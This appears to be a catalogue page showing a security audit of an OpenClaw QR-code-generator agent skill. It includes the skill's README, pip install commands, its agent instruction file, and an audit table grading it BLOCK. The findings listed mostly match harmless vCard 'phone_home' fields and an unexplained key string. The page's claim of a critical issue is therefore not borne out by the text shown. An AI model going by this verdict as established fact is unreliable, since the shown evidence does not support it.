Qr Code GeneratorBLOCK
🧠 Curated collection of 1209+ best OpenClaw skills — weekly updated by MyClaw.ai
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
A powerful OpenClaw skill for creating customizable QR codes for any purpose.
Features
✅ Multiple Data Types
- URLs and web links
- Plain text messages
- WiFi credentials
- Contact cards (vCard)
- Email addresses
- Phone numbers
- SMS messages
- GPS coordinates
- Calendar events
✅ Customization
- Custom colors (foreground/background)
- Logo embedding
- Error correction levels
- Adjustable size and border
- Multiple output formats
✅ Export Formats
- PNG (raster)
- SVG (vector)
- PDF (print-ready)
- EPS (design tools)
- Terminal (ASCII art)
✅ Batch Processing
- Generate from text files
- CSV with metadata
- JSON with full config
- Bulk URL/text lists
Installation
Prerequisites
- Install OpenClawCLI for Windows or MacOS
- Install Python dependencies:
# Standard installation pip install qrcode[pil] segno # Or install from requirements.txt pip install -r requirements.txt
Using Virtual Environment (Recommended):
python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install -r requirements.txt
⚠️ Never use `--break-system-packages` - use virtual environments instead!
Quick Start
Basic Examples
# URL QR code python scripts/qr.py "https://example.com" # Text message python scripts/qr.py --type text "Hello, World!" # WiFi credentials python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret123" # Contact card python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "[email protected]"
Custom Styling
# Custom colors python scripts/qr.py "https://example.com" --fg-color blue --bg-color white # With company logo python scripts/qr.py "https://company.com" --logo logo.png --error-correction H # High quality for print python scripts/qr.py "https://example.com" --box-size 15 --error-correction H --format pdf
Common Use Cases
1. Restaurant Menu
`
4f3b4a2a472eOBSERVED · 2026-10-08Install
Commands as the repository documents them. They are shown, not run.
pip install qrcode[pil] segno
pip install qrcode[pil] segno
pip install qrcode[pil] segno
pip install qrcode[pil] segno
pip install Pillow
pip install qrcode[pil] segno
Host compatibility
What the documentation claims. We have not run a compatibility test.
| Host | Status | Notes |
|---|---|---|
| openclaw | mentioned |
What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
--- name: qr-code-generator description: "Use this skill when users need to create QR codes for any purpose. Triggers include: requests to \"generate QR code\", \"create QR\", \"make a QR code for\", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai." license: Proprietary --- # QR Code Generator Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats. ⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) **Installation:** ```bash # Standard installation pip install qrcode[pil] segno # If you encounter permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install qrcode[pil] segno ``` **Never use `--break-system-packages`** as it can damage your system's Python installation. --- ## Quick Reference | Task | Command | |------|---------| | Basic URL QR code | `python scripts/qr.py "https://example.com"` | | Text QR code | `python scripts/qr.py --type text "Hello World"` | | WiFi QR code | `python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret"` | | vCard contact | `python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"` | | Custom colors | `python scripts/qr.py "URL" --fg-color blue --bg-color white` | | With logo | `python scripts/qr.py "URL" --logo logo.png` | | SVG format | `python scripts/qr.py "URL" --format svg` | | Batch generation | `python scripts/qr.py --batch urls.txt --output-dir qrcodes/` | --- ## Core Features ### 1. Multiple Data Types Generate QR codes for various data types with automatic formatting. **Supported Types:** - **URL** - Websites and web links - **Text** - Plain text messages - **WiFi** - WiFi network credentials - **vCard** - Contact information (VCF format) - **Email** - Email addresses with optional subject/body - **Phone** - Phone numbers (tel: links) - **SMS** - SMS messages with recipient and text - **Geo** - Geographic coordinates - **Event** - Calendar events (iCal format) - **Custom** - Any custom data ### 2. Customization Options Personalize QR code appearance: - Foreground and background colors - Custom error correction levels - Border size adjustment - Module size control - Logo/image embedding ### 3. Multiple Export Formats Export in various formats for different use cases: - **PNG** - Raster images (default) - **SVG** - Vector graphics (scalable) - **PDF** - Print-ready documents - **EPS** - Vector format for design tools - **Terminal** - ASCII art for terminal display ### 4. Batch Processing Generate multiple QR codes from: - Text files (one entry per line) - CSV files (with metadata) - JSON files (with configuration) --- ## Basic Usage ### URL QR Codes Generate QR codes for websites and links. ```bash # Simple URL python scripts/qr.py "https://example.com" # With custom filename python scripts/qr.py "https://github.com" --output github_qr.png # High error correction for printed codes python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png ``` **Output:** ``` QR code generated: qrcode.png Size: 290x290 pixels Error correction: M (Medium) Data: https://example.com ``` ### Text QR Codes Encode plain text messages. ```bash # Simple text python scripts/qr.py --type text "Hello, World!" # Multi-line text python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png # Large text (automatic size adjustment) python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png ``` ### WiFi QR Codes Create scannable WiFi credentials. ```bash # WPA/WPA2 network python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123" # WPA2 network (explicit) python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA # Hidden network python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden # Open network (no password) python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass ``` **Security types:** `WPA`, `WEP`, `nopass` **Output QR contains:** ``` WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;; ``` ### Contact Cards (vCard) Generate vCard QR codes for easy contact sharing. ```bash # Basic contact python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" # Full contact details python scripts/qr.py --type vcard \ --name "Jane Smith" \ --phone "+1234567890" \ --email "[email protected]" \ --organization "Tech Corp" \ --title "Senior Developer" \ --url "https://janesmith.com" \ --address "123 Main St, City, State, 12345" \ --output jane_contact.png # Multiple phone numbers python scripts/qr.py --type vcard \ --name "Bob Johnson" \ --phone "+1234567890" \ --phone-home "+0987654321" \ --email "[email protected]" ``` **Generated vCard format:** ``` BEGIN:VCARD VERSION:3.0 FN:John Doe TEL:+1234567890 END:VCARD ``` ### Email QR Codes Create mailto: links with optional subject and body. ```bash # Simple email python scripts/qr.py --type email --email "[email protected]" # With subject python scripts/qr.py --type email --email "[email protected]" --subject "Support Request" # With subject and body python scripts/qr.py --type email \ --email "[email protected]" \ --subject "Inquiry" \ --body "I would like more information about..." ``` **Output QR contains:** ``` mailto:[email protected]?subject=Support%20Request&body=Message%20text ``` ### Phone Number QR Codes Generate clickable phone links. ```bash # Simple phone number python scripts/qr.py --type phone --phone "+123456
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (4 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (7)
# Open network (no password)
phone_home: Optional[str] = None,
if phone_home:
lines.append(f"TEL;TYPE=HOME:{phone_home}")args.name, args.phone, args.phone_home, args.phone_work,
<key>k5Ey9KFlkqpj+SDkUw+5ED9lTA3En/qUi0zdrydUCH3kMWTE3Eh65NXnFCaxlY2omY2JHnlEoK7Li7oOEvM7eG5VPdcO/sFlMfoCRdnLYdepJ+uLzYwOWR8W4yQVve/clxVFTVRL4DFleKInGdpAxIbHZT2yi4ADAMENls1N1XSLojRuqXePXDeAT/4Mv4TTx0s
qrcode, segno, Pillow
Gates applied: no_behavioural_pass.
4f3b4a2a472efull audit observations/trust-audit/skill/leoyeai__qr-code-generator.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-08 | 4f3b4a2a472e | BLOCK | D | 69 | first audit |
Questions
What does the Qr Code Generator skill do?
🧠 Curated collection of 1209+ best OpenClaw skills — weekly updated by MyClaw.ai
Is Qr Code Generator safe to install?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on.
What can Qr Code Generator access on my machine?
The audit observed that it reaches the network. Each of those is consistent with what it says it does. Secrets in the source: none found.
Which assistants does Qr Code Generator work with?
Its documentation mentions openclaw. That is what the text claims, not a compatibility test we ran.
How current is this page?
The grade is for one exact copy of the source (4f3b4a2a472e), read on 2026-10-08. The repository is watched, and a new audit runs when it changes — this is the first audit.